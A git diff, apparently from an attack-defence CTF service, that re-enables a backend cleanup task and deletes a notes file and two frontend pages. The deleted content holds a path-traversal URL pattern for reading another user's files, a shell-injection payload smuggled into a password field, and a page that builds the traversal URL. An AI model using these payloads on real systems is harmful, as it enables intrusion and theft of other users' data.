diff --git a/service/backend/server/router.go b/service/backend/server/router.go index 2c04755..7592ec6 100644 --- a/service/backend/server/router.go +++ b/service/backend/server/router.go @@ -40,9 +40,9 @@ func NewRouter(docker *service.DockerService, pgUrl string, containerLogsPath st devenvController := controller.NewDevenvController(docker, devenvFilesPath, devenvFilesTmpPath) replController := controller.NewReplController(docker, &replState) - // cleanup := service.Cleanup(docker, &replState, containerLogsPath, devenvFilesPath, devenvFilesTmpPath) - // cleanup.DoCleanup() - // cleanup.StartTask() + cleanup := service.Cleanup(docker, &replState, containerLogsPath, devenvFilesPath, devenvFilesTmpPath) + cleanup.DoCleanup() + cleanup.StartTask() engine := gin.Default() diff --git a/service/frontend/public/presentation.txt b/service/frontend/public/presentation.txt deleted file mode 100644 index ef2b77d..0000000 --- a/service/frontend/public/presentation.txt +++ /dev/null @@ -1,6 +0,0 @@ -aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -dr3ca04nks433tsaeq5ni4m1lm4fljqvrthdzme2xkoz1jlagorwsgeunwky - -/api/devenv/{own}/files/main.c?uuid={own}%2F..%2F{target} - -password | chpasswd; printenv > /tmp/test; # diff --git a/service/frontend/src/app/repl/page.tsx b/service/frontend/src/app/repl/page.tsx deleted file mode 100644 index 1c35f5a..0000000 --- a/service/frontend/src/app/repl/page.tsx +++ /dev/null @@ -1,73 +0,0 @@ -"use client"; - -import { zodResolver } from "@hookform/resolvers/zod"; -import { useForm } from "react-hook-form"; -import { Button } from "@/components/ui/button"; -import { z } from "zod"; -import { - Form, - FormControl, - FormField, - FormItem, - FormMessage, -} from "@/components/ui/form"; -import { Input } from "@/components/ui/input"; -import { useCreateReplMutation } from "@/hooks/use-create-repl-mutation"; - -const LoginFormSchema = z.object({ - username: z.string().min(1, { message: "Username can't be empty" }), - password: z.string().min(1, { message: "Password can't be empty" }), -}); - -type LoginForm = z.infer; - -export default function Page() { - const createReplMutation = useCreateReplMutation(); - - const form = useForm({ - resolver: zodResolver(LoginFormSchema), - defaultValues: { - username: "", - password: "", - }, - }); - - const onSubmit = (credentials: LoginForm) => { - createReplMutation.mutate(credentials); - }; - - return ( -
-
Create REPL
-
- - ( - - - - - - - )} - /> - ( - - - - - - - )} - /> - - - -
- ); -} diff --git a/service/frontend/src/app/util/page.tsx b/service/frontend/src/app/util/page.tsx deleted file mode 100644 index 675747c..0000000 --- a/service/frontend/src/app/util/page.tsx +++ /dev/null @@ -1,76 +0,0 @@ -"use client"; - -import { useState } from "react"; -import { zodResolver } from "@hookform/resolvers/zod"; -import { useForm } from "react-hook-form"; -import { Button } from "@/components/ui/button"; -import { z } from "zod"; -import { - Form, - FormControl, - FormField, - FormItem, - FormMessage, -} from "@/components/ui/form"; -import { Input } from "@/components/ui/input"; - -const Schema = z.object({ - own: z.string(), - target: z.string(), -}); - -type SchemaType = z.infer; - -export default function Page() { - const [result, setResult] = useState(); - - const form = useForm({ - resolver: zodResolver(Schema), - defaultValues: { - own: "", - target: "", - }, - }); - - const onSubmit = (payload: SchemaType) => { - setResult( - `http://127.0.0.1:6969/api/devenv/${payload.own}/files/main.c?uuid=${payload.own}%2F..%2F${payload.target}`, - ); - }; - - return ( -
-
Create URL
-
- - ( - - - - - - - )} - /> - ( - - - - - - - )} - /> - - - -
{result}
-
- ); -}